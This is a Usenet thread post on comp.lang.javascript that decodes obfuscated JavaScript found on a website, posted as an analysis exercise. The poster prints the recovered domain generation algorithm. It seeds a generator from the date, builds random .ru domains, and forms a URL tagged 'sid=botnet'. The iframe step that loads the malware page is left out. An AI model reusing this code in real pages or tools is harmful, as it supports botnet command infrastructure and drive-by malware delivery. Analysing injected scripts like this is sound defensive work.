Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > comp.lang.javascript > #31157

Re: A little exercise

Show all headers | View raw

Stefan Ram wrote:
>   Go to httpuqrxcityscom (replacing the letters »u«, »q«, »r«,
>   and »s« by the usual symbols) with JavaScript turned /off/.
>
>   Look for JavaScript in the page source and decrypt its
>   encrypted parts it without actually running them (this
>   is for /experienced/ JavaScript users).

OK. "Decrypting" wasn't all too hard though:

function nextRandomNumber(){
     var hi = this.seed / this.Q;
     var lo = this.seed % this.Q;
     var test = this.A * lo - this.R * hi;
     if(test > 0){
         this.seed = test;
     } else {
         this.seed = test + this.M;
     }
     return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix){
     var d = new Date(unix*1000);
     var s = d.getHours() > 12 ? 1 : 0;
     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 
0xFFFF)+ (Math.round(s * 0xFFF));
     this.A = 48271;
     this.M = 2147483647;
     this.Q = this.M / this.A;
     this.R = this.M % this.A;
     this.oneOverM = 1.0 / this.M;
     this.next = nextRandomNumber;
     return this;
}

function createRandomNumber(r, Min, Max){
     return Math.round((Max-Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone){
     var rand = new RandomNumberGenerator(unix);
     var letters = 
['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
     var str = '';
     for(var i = 0; i < length; i ++ ){
         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
     }
     return str + '.' + zone;
}

var unix = Math.round(+new Date()/1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
console.log("http://"+domainName+"/runforestrun?sid=botnet");

(I've left out the parts that create an iframe and load the referenced 
page, which obviously serves malware).

>   Read the result of your decryption and speculate on /why/
>   it does what it apparently does (retrieve a single probably
>   "nonexisting" random URI? Why?)

That I will leave to others.
Only I can tell that it's not as random as it appears to be.
Which would be the actually interesting part.

- Bergi

Back to comp.lang.javascript | Previous | Next — Next in thread | Find similar | Unroll thread

Thread

Re: A little exercise Andreas Bergmaier <andber93@web.de> - 2016-08-25 00:58 +0200
  Re: A little exercise Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-25 06:35 +0200

csiph-web